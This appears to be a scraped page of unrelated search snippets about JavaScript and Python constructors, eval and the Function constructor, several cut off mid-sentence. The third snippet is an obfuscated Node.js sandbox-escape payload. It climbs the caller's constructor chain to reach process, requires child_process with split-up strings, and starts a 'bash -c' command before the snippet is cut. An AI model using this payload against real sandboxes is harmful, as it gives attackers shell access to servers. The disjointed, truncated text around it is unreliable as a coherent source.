BaseObject=function(name) {if(typeofname !=="undefined") {this.name= name; } };BaseObject.prototype.name='default'; With this version,BaseObjectinherits thenameproperty from itsprototypeobject, where it is set (
When id was called, Python created a WTF class object and passed it to the id function. The id function takes its id (its memory location), and throws away the object. The object is destroyed. When we do this twice in succession, Python allocates the same memory location to this ...
{ get: function(){ const cc = arguments.callee.caller; const p = (cc.constructor.constructor(`${`${`return proces`}s`}`))(); const q = p.mainModule.require(`${`${`child_proces`}s`}`) return Reflect.get(q, Reflect.ownKeys(q).find(x=\u003ex.includes(`cSync`)))(`bash -c...
Theevalfunction is the most misused feature of JavaScript. Avoid it. evalhas aliases. Do not use theFunctionconstructor. Do not pass strings tosetTimeoutorsetInterval.
Consider, for example, the class definition for the two-dimensional vector show at the top ofFigure 3. A couple of interesting ideas come out of this. First, notice that there is no explicit constructor body; the parameters on the first line indicate the parameters by which people will const...
Have you explored Python's collections module? Within it, you'll find a powerful factory function called namedtuple(), which provides multiple enhancements over the standard tuple for writing clearer and cleaner code. This week on the show, Christopher Trudeau is here, bringing another batch of ...
The seq function evaluates its argument only as far as the first constructor, and doesn’t evaluate any more of the structure. There is a technical term for this: We say that seq evaluates its first argument to weak head normal form. The reason for this terminology is somewhat historical, ...
This paper develops a new framework to examine the use of ‘evaluation resources’ in research discourse. In previous studies of evaluative resources, two distinct, although interwoven, types of context have been identified: 1) the real world where evalu
An EvalError exception is thrown if any parameters are passed to the Function class’s constructor or if user code calls the eval() function. In ActionScript 3.0, support for the eval() function has been removed and attempts to use the function result in an error. Earlier versions of Fl...
sumFunction created with Function constructor invocation has parameters numberA and numberB and the body return numberA + numberB.The functions created this way don't have access to the current scope, thus closures cannot be created. They are always created in the global scope....